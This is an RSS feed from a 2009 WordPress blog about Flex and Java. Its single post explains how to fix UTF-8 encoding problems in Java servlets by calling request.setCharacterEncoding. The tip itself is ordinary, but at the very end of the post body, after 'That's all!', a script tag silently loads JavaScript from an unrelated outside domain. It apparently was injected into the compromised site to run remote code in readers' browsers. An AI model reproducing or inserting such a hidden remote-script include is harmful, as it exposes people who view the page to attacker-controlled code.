<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>myFlexibleLife &#187; UTF-8</title>
	<atom:link href="http://www.myflexiblelife.com/tags/utf-8/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.myflexiblelife.com</link>
	<description>A blog on Flex, ActionScript, RIAs and related open source technologies</description>
	<lastBuildDate>Thu, 27 Aug 2009 12:06:12 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Get rid of character encoding problems with Java Servlets</title>
		<link>http://www.myflexiblelife.com/2009/07/29/get-rid-of-character-encoding-problems-with-java-servlets/</link>
		<comments>http://www.myflexiblelife.com/2009/07/29/get-rid-of-character-encoding-problems-with-java-servlets/#comments</comments>
		<pubDate>Wed, 29 Jul 2009 08:11:27 +0000</pubDate>
		<dc:creator>Alessandro Ronchi</dc:creator>
				<category><![CDATA[Tips & Tricks]]></category>
		<category><![CDATA[character encoding]]></category>
		<category><![CDATA[doGet]]></category>
		<category><![CDATA[doPost]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[request]]></category>
		<category><![CDATA[servlet]]></category>
		<category><![CDATA[setCharacterEncoding]]></category>
		<category><![CDATA[Unicode]]></category>
		<category><![CDATA[UTF-8]]></category>

		<guid isPermaLink="false">http://www.myflexiblelife.com/?p=115</guid>
		<description><![CDATA[If you need to send data from a Flex application to a Java Servlet pay attention: not every Java Servlet Container assumes by default that you are sending an UTF-8 encoded request. 
To get rid of character encoding problems remember to add the following line of code in your doGet/doPost Servlet method before accessing any [...]]]></description>
			<content:encoded><![CDATA[<p>If you need to send data from a Flex application to a <strong>Java Servlet</strong> pay attention: not every Java Servlet Container assumes by default that you are sending an <strong>UTF-8 encoded request</strong>. </p>
<p>To get rid of character encoding problems remember to add the following line of code in your <strong>doGet</strong>/<strong>doPost</strong> Servlet method before accessing any <strong>request parameter</strong>:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="java" style="font-family:monospace;">request.<span style="color: #006633;">setCharacterEncoding</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;UTF-8&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>That&#8217;s all! <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.myflexiblelife.com/2009/07/29/get-rid-of-character-encoding-problems-with-java-servlets/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
